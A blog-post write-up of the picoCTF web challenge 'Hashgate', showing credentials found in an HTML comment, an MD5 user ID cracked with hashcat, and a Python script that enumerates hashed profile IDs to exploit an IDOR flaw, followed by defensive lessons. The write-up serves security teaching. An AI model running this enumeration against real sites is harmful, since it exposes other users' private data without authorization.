DEV Community

Cover image for PicoCTF Web Challenge Writeup: Hashgate
Yogeshwar Peela
Yogeshwar Peela

Posted on

PicoCTF Web Challenge Writeup: Hashgate

Overview

We're given a web application with a login page. The goal is to find the flag hidden in another user's profile.

Category: Web Exploitation | Difficulty: Medium | Tools: Python, requests, hashlib, hashcat


Step 1 — Finding the Credentials

Looking at the login page HTML source, credentials were hidden in a comment:

<!-- Email: guest@picoctf.org Password: guest -->
Enter fullscreen mode Exit fullscreen mode

Always check the page source — developers sometimes leave credentials in comments!


Step 2 — Logging In and Observing the URL

After logging in with guest@picoctf.org / guest, the app redirected to:

/profile/user/e93028bdc1aacdfb3687181f2031765d
Enter fullscreen mode Exit fullscreen mode

The page showed:

Access level: Guest (ID: 3000). Insufficient privileges to view classified data.
Enter fullscreen mode Exit fullscreen mode

The URL contains an MD5 hash. Let's figure out what it's a hash of.


Step 3 — Cracking the Hash

hashcat -m 0 e93028bdc1aacdfb3687181f2031765d /usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode

Result:

e93028bdc1aacdfb3687181f2031765d:3000
Enter fullscreen mode Exit fullscreen mode

The hash is simply MD5 of the user ID (3000). This is a textbook IDOR vulnerability — the app uses a predictable, reversible identifier in the URL.


Step 4 — Exploiting the IDOR

Since my ID is 3000 and the app uses MD5(ID) in the URL, I can access any user's profile by computing their hash. I enumerated nearby IDs:

import requests
import hashlib

url_base = "http://crystal-peak.picoctf.net:<PORT>/profile/user/"
session = requests.Session()

session.post("http://crystal-peak.picoctf.net:58205/login", json={
    "email": "guest@picoctf.org",
    "password": "guest"
})

for uid in range(3000, 3031):
    md5 = hashlib.md5(str(uid).encode()).hexdigest()
    resp = session.get(url_base + md5)
    print(f"ID {uid} ({md5}): {resp.text[:100]}")
    if "picoCTF" in resp.text:
        print(f"[+] FLAG FOUND at ID {uid}!")
        break
Enter fullscreen mode Exit fullscreen mode

Step 5 — Getting the Flag

One of the nearby IDs returned the flag:

picoCTF{...flag...}
Enter fullscreen mode Exit fullscreen mode

Flag captured!


Vulnerability Summary

1. Credentials in HTML comment — The guest credentials were visible in plain page source, granting immediate account access to anyone who inspected the HTML.

2. IDOR via MD5 user ID — The URL uses MD5(user_id), which is predictable and trivially computable. Any authenticated user can enumerate all profiles.

3. Weak ID hashing — MD5 is not encryption. It's easily cracked with a wordlist or simply recomputed, providing no real access control.


What is IDOR?

Insecure Direct Object Reference (IDOR) is when an application uses user-controllable input to access objects directly without proper authorization checks. It's consistently in the OWASP Top 10 and one of the most common vulnerabilities found in bug bounty programs.

The key issue isn't the hash itself — it's that the server never verifies whether the requesting user is actually authorized to view that profile.


Lessons Learned

  • Never use MD5 (or any hash) as an access control mechanism. Hashes are not encryption — they are deterministic and predictable. Anyone who knows the pattern can compute the hash for any ID.
  • Use random UUIDs for profile URLs. A UUID like f47ac10b-58cc-4372-a567-0e02b2c3d479 can't be guessed or enumerated.
  • Enforce server-side authorization. Always verify the logged-in user has permission to view the requested resource — don't rely on obscurity in the URL.
  • Never leave credentials in HTML comments. Strip all debug info and hardcoded secrets before deploying to production.

Top comments (0)